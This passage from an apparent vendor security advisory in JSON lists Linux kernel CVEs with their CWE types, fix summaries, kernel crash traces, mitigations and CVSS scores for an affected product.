          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-44989"
    },
    {
      "cve": "CVE-2024-44990",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: bonding: fix null pointer deref in bond_ipsec_offload_ok We must check if there is an active slave before dereferencing the pointer.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-44990"
    },
    {
      "cve": "CVE-2024-45016",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: netem: fix return value if duplicate enqueue fails.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.0,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-45016"
    },
    {
      "cve": "CVE-2024-45018",
      "cwe": {
        "id": "CWE-456",
        "name": "Missing Initialization of a Variable"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: netfilter: flowtable: initialise extack before use Fix missing initialisation of extack in flow offload.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-45018"
    },
    {
      "cve": "CVE-2024-46679",
      "cwe": {
        "id": "CWE-362",
        "name": "Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: ethtool: check device is present when getting link settings.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-46679"
    },
    {
      "cve": "CVE-2024-46743",
      "cwe": {
        "id": "CWE-125",
        "name": "Out-of-bounds Read"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: of/irq: Prevent device address out-of-bounds read in interrupt map walk.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-46743"
    },
    {
      "cve": "CVE-2024-46744",
      "cwe": {
        "id": "CWE-908",
        "name": "Use of Uninitialized Resource"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: Squashfs: sanity check symbolic link size.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-46744"
    },
    {
      "cve": "CVE-2024-46745",
      "cwe": {
        "id": "CWE-400",
        "name": "Uncontrolled Resource Consumption"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: Input: uinput - reject requests with unreasonable number of slots When exercising uinput interface syzkaller may try setting up device with a really large number of slots, which causes memory allocation failure in input_mt_init_slots(). While this allocation failure is handled properly and request is rejected, it results in syzkaller reports. Additionally, such request may put undue burden on the system which will try to free a lot of memory for a bogus request. Fix it by limiting allowed number of slots to 100. This can easily be extended if we see devices that can track more than 100 contacts.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-46745"
    },
    {
      "cve": "CVE-2024-46750",
      "cwe": {
        "id": "CWE-413",
        "name": "Improper Resource Locking"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: PCI: Add missing bridge lock to pci_bus_lock().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-46750"
    },
    {
      "cve": "CVE-2024-46759",
      "cwe": {
        "id": "CWE-124",
        "name": "Buffer Underwrite (\u0027Buffer Underflow\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: hwmon: (adc128d818) Fix underflows seen when writing limit attributes DIV_ROUND_CLOSEST() after kstrtol() results in an underflow if a large negative number such as -9223372036854775808 is provided by the user. Fix it by reordering clamp_val() and DIV_ROUND_CLOSEST() operations.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-46759"
    },
    {
      "cve": "CVE-2024-46783",
      "cwe": {
        "id": "CWE-229",
        "name": "Improper Handling of Values"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: tcp_bpf: fix return value of tcp_bpf_sendmsg().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-46783"
    },
    {
      "cve": "CVE-2024-46854",
      "cwe": {
        "id": "CWE-125",
        "name": "Out-of-bounds Read"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nnet: dpaa: Pad packets to ETH_ZLEN\r\n\r\nWhen sending packets under 60 bytes, up to three bytes of the buffer following the data may be leaked. Avoid this by extending all packets to ETH_ZLEN, ensuring nothing is leaked in the padding. This bug can be reproduced by running\r\n\r\n\t$ ping -s 11 destination",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-46854"
    },
    {
      "cve": "CVE-2024-46865",
      "cwe": {
        "id": "CWE-908",
        "name": "Use of Uninitialized Resource"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nfou: fix initialization of grc\r\nThe grc must be initialize first. There can be a condition where if fou is NULL, goto out will be executed and grc would be used uninitialized.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-46865"
    },
    {
      "cve": "CVE-2024-47660",
      "cwe": {
        "id": "CWE-413",
        "name": "Improper Resource Locking"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: fsnotify: clear PARENT_WATCHED flags lazily In some setups directories can have many (usually negative) dentries. Hence __fsnotify_update_child_dentry_flags() function can take a significant amount of time. Since the bulk of this function happens under inode-\u003ei_lock this causes a significant contention on the lock when we remove the watch from the directory as the __fsnotify_update_child_dentry_flags() call from fsnotify_recalc_mask() races with __fsnotify_update_child_dentry_flags() calls from __fsnotify_parent() happening on children. This can lead upto softlockup reports reported by users. Fix the problem by calling fsnotify_update_children_dentry_flags() to set PARENT_WATCHED flags only when parent starts watching children. When parent stops watching children, clear false positive PARENT_WATCHED flags lazily in __fsnotify_parent() for each accessed child.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-47660"
    },
    {
      "cve": "CVE-2024-47684",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\ntcp: check skb is non-NULL in tcp_rto_delta_us()\r\n\r\nWe have some machines running stock Ubuntu 20.04.6 which is their 5.4.0-174-generic\r\nkernel that are running ceph and recently hit a null ptr dereference in\r\ntcp_rearm_rto(). Initially hitting it from the TLP path, but then later we also\r\nsaw it getting hit from the RACK case as well. Here are examples of the oops\r\nmessages we saw in each of those cases:\r\n\r\nJul 26 15:05:02 rx [11061395.780353] BUG: kernel NULL pointer dereference, address: 0000000000000020\r\nJul 26 15:05:02 rx [11061395.787572] #PF: supervisor read access in kernel mode\r\nJul 26 15:05:02 rx [11061395.792971] #PF: error_code(0x0000) - not-present page\r\nJul 26 15:05:02 rx [11061395.798362] PGD 0 P4D 0\r\nJul 26 15:05:02 rx [11061395.801164] Oops: 0000 [#1] SMP NOPTI\r\nJul 26 15:05:02 rx [11061395.805091] CPU: 0 PID: 9180 Comm: msgr-worker-1 Tainted: G W 5.4.0-174-generic #193-Ubuntu\r\nJul 26 15:05:02 rx [11061395.814996] Hardware name: Supermicro SMC 2x26 os-gen8 64C NVME-Y 256G/H12SSW-NTR, BIOS 2.5.V1.2U.NVMe.UEFI 05/09/2023\r\nJul 26 15:05:02 rx [11061395.825952] RIP: 0010:tcp_rearm_rto+0xe4/0x160\r\nJul 26 15:05:02 rx [11061395.830656] Code: 87 ca 04 00 00 00 5b 41 5c 41 5d 5d c3 c3 49 8b bc 24 40 06 00 00 eb 8d 48 bb cf f7 53 e3 a5 9b c4 20 4c 89 ef e8 0c fe 0e 00 \u003c48\u003e 8b 78 20 48 c1 ef 03 48 89 f8 41 8b bc 24 80 04 00 00 48 f7 e3\r\nJul 26 15:05:02 rx [11061395.849665] RSP: 0018:ffffb75d40003e08 EFLAGS: 00010246\r\nJul 26 15:05:02 rx [11061395.855149] RAX: 0000000000000000 RBX: 20c49ba5e353f7cf RCX: 0000000000000000\r\nJul 26 15:05:02 rx [11061395.862542] RDX: 0000000062177c30 RSI: 000000000000231c RDI: ffff9874ad283a60\r\nJul 26 15:05:02 rx [11061395.869933] RBP: ffffb75d40003e20 R08: 0000000000000000 R09: ffff987605e20aa8\r\nJul 26 15:05:02 rx [11061395.877318] R10: ffffb75d40003f00 R11: ffffb75d4460f740 R12: ffff9874ad283900\r\nJul 26 15:05:02 rx [11061395.884710] R13: ffff9874ad283a60 R14: ffff9874ad283980 R15: ffff9874ad283d30\r\nJul 26 15:05:02 rx [11061395.892095] FS: 00007f1ef4a2e700(0000) GS:ffff987605e00000(0000) knlGS:0000000000000000\r\nJul 26 15:05:02 rx [11061395.900438] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\r\nJul 26 15:05:02 rx [11061395.906435] CR2: 0000000000000020 CR3: 0000003e450ba003 CR4: 0000000000760ef0\r\nJul 26 15:05:02 rx [11061395.913822] PKRU: 55555554\r\nJul 26 15:05:02 rx [11061395.916786] Call Trace:\r\nJul 26 15:05:02 rx [11061395.919488]\r\nJul 26 15:05:02 rx [11061395.921765] ? show_regs.cold+0x1a/0x1f\r\nJul 26 15:05:02 rx [11061395.925859] ? __die+0x90/0xd9\r\nJul 26 15:05:02 rx [11061395.929169] ? no_context+0x196/0x380\r\nJul 26 15:05:02 rx [11061395.933088] ? ip6_protocol_deliver_rcu+0x4e0/0x4e0\r\nJul 26 15:05:02 rx [11061395.938216] ? ip6_sublist_rcv_finish+0x3d/0x50\r\nJul 26 15:05:02 rx [11061395.943000] ? __bad_area_nosemaphore+0x50/0x1a0\r\nJul 26 15:05:02 rx [11061395.947873] ? bad_area_nosemaphore+0x16/0x20\r\nJul 26 15:05:02 rx [11061395.952486] ? do_user_addr_fault+0x267/0x450\r\nJul 26 15:05:02 rx [11061395.957104] ? ipv6_list_rcv+0x112/0x140\r\nJul 26 15:05:02 rx [11061395.961279] ? __do_page_fault+0x58/0x90\r\nJul 26 15:05:02 rx [11061395.965458] ? do_page_fault+0x2c/0xe0\r\nJul 26 15:05:02 rx [11061395.969465] ? page_fault+0x34/0x40\r\nJul 26 15:05:02 rx [11061395.973217] ? tcp_rearm_rto+0xe4/0x160\r\nJul 26 15:05:02 rx [11061395.977313] ? tcp_rearm_rto+0xe4/0x160\r\nJul 26 15:05:02 rx [11061395.981408] tcp_send_loss_probe+0x10b/0x220\r\nJul 26 15:05:02 rx [11061395.985937] tcp_write_timer_handler+0x1b4/0x240\r\nJul 26 15:05:02 rx [11061395.990809] tcp_write_timer+0x9e/0xe0\r\nJul 26 15:05:02 rx [11061395.994814] ? tcp_write_timer_handler+0x240/0x240\r\nJul 26 15:05:02 rx [11061395.999866] call_timer_fn+0x32/0x130\r\nJul 26 15:05:02 rx [11061396.003782] __run_timers.part.0+0x180/0x280\r\nJul 26 15:05:02 rx [11061396.008309] ? recalibrate_cpu_khz+0x10/0x10\r\nJul 26 15:05:02 rx [11061396.012841] ? native_x2apic_icr_write+0x30/0x30\r\nJul 26 15:05:02 rx [11061396.017718] ? lapic_next_even\r\n---truncated---",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-47684"
    },
    {
      "cve": "CVE-2024-47685",
      "cwe": {
        "id": "CWE-908",
        "name": "Use of Uninitialized Resource"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nnetfilter: nf_reject_ipv6: fix nf_reject_ip6_tcphdr_put()\r\n\r\nsyzbot reported that nf_reject_ip6_tcphdr_put() was possibly sending garbage on the four reserved tcp bits (th-\u003eres1)\r\n\r\nUse skb_put_zero() to clear the whole TCP header, as done in nf_reject_ip_tcphdr_put()\r\n\r\nBUG: KMSAN: uninit-value in nf_reject_ip6_tcphdr_put+0x688/0x6c0 net/ipv6/netfilter/nf_reject_ipv6.c:255\r\n  nf_reject_ip6_tcphdr_put+0x688/0x6c0 net/ipv6/netfilter/nf_reject_ipv6.c:255\r\n  nf_send_reset6+0xd84/0x15b0 net/ipv6/netfilter/nf_reject_ipv6.c:344\r\n  nft_reject_inet_eval+0x3c1/0x880 net/netfilter/nft_reject_inet.c:48\r\n  expr_call_ops_eval net/netfilter/nf_tables_core.c:240 [inline]\r\n  nft_do_chain+0x438/0x22a0 net/netfilter/nf_tables_core.c:288\r\n  nft_do_chain_inet+0x41a/0x4f0 net/netfilter/nft_chain_filter.c:161\r\n  nf_hook_entry_hookfn include/linux/netfilter.h:154 [inline]\r\n  nf_hook_slow+0xf4/0x400 net/netfilter/core.c:626\r\n  nf_hook include/linux/netfilter.h:269 [inline]\r\n  NF_HOOK include/linux/netfilter.h:312 [inline]\r\n  ipv6_rcv+0x29b/0x390 net/ipv6/ip6_input.c:310\r\n  __netif_receive_skb_one_core net/core/dev.c:5661 [inline]\r\n  __netif_receive_skb+0x1da/0xa00 net/core/dev.c:5775\r\n  process_backlog+0x4ad/0xa50 net/core/dev.c:6108\r\n  __napi_poll+0xe7/0x980 net/core/dev.c:6772\r\n  napi_poll net/core/dev.c:6841 [inline]\r\n  net_rx_action+0xa5a/0x19b0 net/core/dev.c:6963\r\n  handle_softirqs+0x1ce/0x800 kernel/softirq.c:554\r\n  __do_softirq+0x14/0x1a kernel/softirq.c:588\r\n  do_softirq+0x9a/0x100 kernel/softirq.c:455\r\n  __local_bh_enable_ip+0x9f/0xb0 kernel/softirq.c:382\r\n  local_bh_enable include/linux/bottom_half.h:33 [inline]\r\n  rcu_read_unlock_bh include/linux/rcupdate.h:908 [inline]\r\n  __dev_queue_xmit+0x2692/0x5610 net/core/dev.c:4450\r\n  dev_queue_xmit include/linux/netdevice.h:3105 [inline]\r\n  neigh_resolve_output+0x9ca/0xae0 net/core/neighbour.c:1565\r\n  neigh_output include/net/neighbour.h:542 [inline]\r\n  ip6_finish_output2+0x2347/0x2ba0 net/ipv6/ip6_output.c:141\r\n  __ip6_finish_output net/ipv6/ip6_output.c:215 [inline]\r\n  ip6_finish_output+0xbb8/0x14b0 net/ipv6/ip6_output.c:226\r\n  NF_HOOK_COND include/linux/netfilter.h:303 [inline]\r\n  ip6_output+0x356/0x620 net/ipv6/ip6_output.c:247\r\n  dst_output include/net/dst.h:450 [inline]\r\n  NF_HOOK include/linux/netfilter.h:314 [inline]\r\n  ip6_xmit+0x1ba6/0x25d0 net/ipv6/ip6_output.c:366\r\n  inet6_csk_xmit+0x442/0x530 net/ipv6/inet6_connection_sock.c:135\r\n  __tcp_transmit_skb+0x3b07/0x4880 net/ipv4/tcp_output.c:1466\r\n  tcp_transmit_skb net/ipv4/tcp_output.c:1484 [inline]\r\n  tcp_connect+0x35b6/0x7130 net/ipv4/tcp_output.c:4143\r\n  tcp_v6_connect+0x1bcc/0x1e40 net/ipv6/tcp_ipv6.c:333\r\n  __inet_stream_connect+0x2ef/0x1730 net/ipv4/af_inet.c:679\r\n  inet_stream_connect+0x6a/0xd0 net/ipv4/af_inet.c:750\r\n  __sys_connect_file net/socket.c:2061 [inline]\r\n  __sys_connect+0x606/0x690 net/socket.c:2078\r\n  __do_sys_connect net/socket.c:2088 [inline]\r\n  __se_sys_connect net/socket.c:2085 [inline]\r\n  __x64_sys_connect+0x91/0xe0 net/socket.c:2085\r\n  x64_sys_call+0x27a5/0x3ba0 arch/x86/include/generated/asm/syscalls_64.h:43\r\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\r\n  do_syscall_64+0xcd/0x1e0 arch/x86/entry/common.c:83\r\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\r\n\r\nUninit was stored to memory at:\r\n  nf_reject_ip6_tcphdr_put+0x60c/0x6c0 net/ipv6/netfilter/nf_reject_ipv6.c:249\r\n  nf_send_reset6+0xd84/0x15b0 net/ipv6/netfilter/nf_reject_ipv6.c:344\r\n  nft_reject_inet_eval+0x3c1/0x880 net/netfilter/nft_reject_inet.c:48\r\n  expr_call_ops_eval net/netfilter/nf_tables_core.c:240 [inline]\r\n  nft_do_chain+0x438/0x22a0 net/netfilter/nf_tables_core.c:288\r\n  nft_do_chain_inet+0x41a/0x4f0 net/netfilter/nft_chain_filter.c:161\r\n  nf_hook_entry_hookfn include/linux/netfilter.h:154 [inline]\r\n  nf_hook_slow+0xf4/0x400 net/netfilter/core.c:626\r\n  nf_hook include/linux/netfilter.h:269 [inline]\r\n  NF_HOOK include/linux/netfilter.h:312 [inline]\r\n  ipv6_rcv+0x29b/0x390 net/ipv6/ip6_input.c:310\r\n  __netif_receive_skb_one_core\r\n---truncated---",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 9.1,
            "baseSeverity": "CRITICAL",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-47685"
    },
    {
      "cve": "CVE-2024-47692",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nnfsd: return -EINVAL when namelen is 0\r\nWhen we have a corrupted main.sqlite in /var/lib/nfs/nfsdcld/, it may result in namelen being 0, which will cause memdup_user() to return ZERO_SIZE_PTR.\r\nWhen we access the name.data that has been assigned the value of ZERO_SIZE_PTR in nfs4_client_to_reclaim(), null pointer dereference is triggered.\r\n\r\n[ T1205] ==================================================================\r\n[ T1205] BUG: KASAN: null-ptr-deref in nfs4_client_to_reclaim+0xe9/0x260\r\n[ T1205] Read of size 1 at addr 0000000000000010 by task nfsdcld/1205\r\n[ T1205]\r\n[ T1205] CPU: 11 PID: 1205 Comm: nfsdcld Not tainted 5.10.0-00003-g2c1423731b8d #406\r\n[ T1205] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS ?-20190727_073836-buildvm-ppc64le-16.ppc.fedoraproject.org-3.fc31 04/01/2014\r\n[ T1205] Call Trace:\r\n[ T1205]  dump_stack+0x9a/0xd0\r\n[ T1205]  ? nfs4_client_to_reclaim+0xe9/0x260\r\n[ T1205]  __kasan_report.cold+0x34/0x84\r\n[ T1205]  ? nfs4_client_to_reclaim+0xe9/0x260\r\n[ T1205]  kasan_report+0x3a/0x50\r\n[ T1205]  nfs4_client_to_reclaim+0xe9/0x260\r\n[ T1205]  ? nfsd4_release_lockowner+0x410/0x410\r\n[ T1205]  cld_pipe_downcall+0x5ca/0x760\r\n[ T1205]  ? nfsd4_cld_tracking_exit+0x1d0/0x1d0\r\n[ T1205]  ? 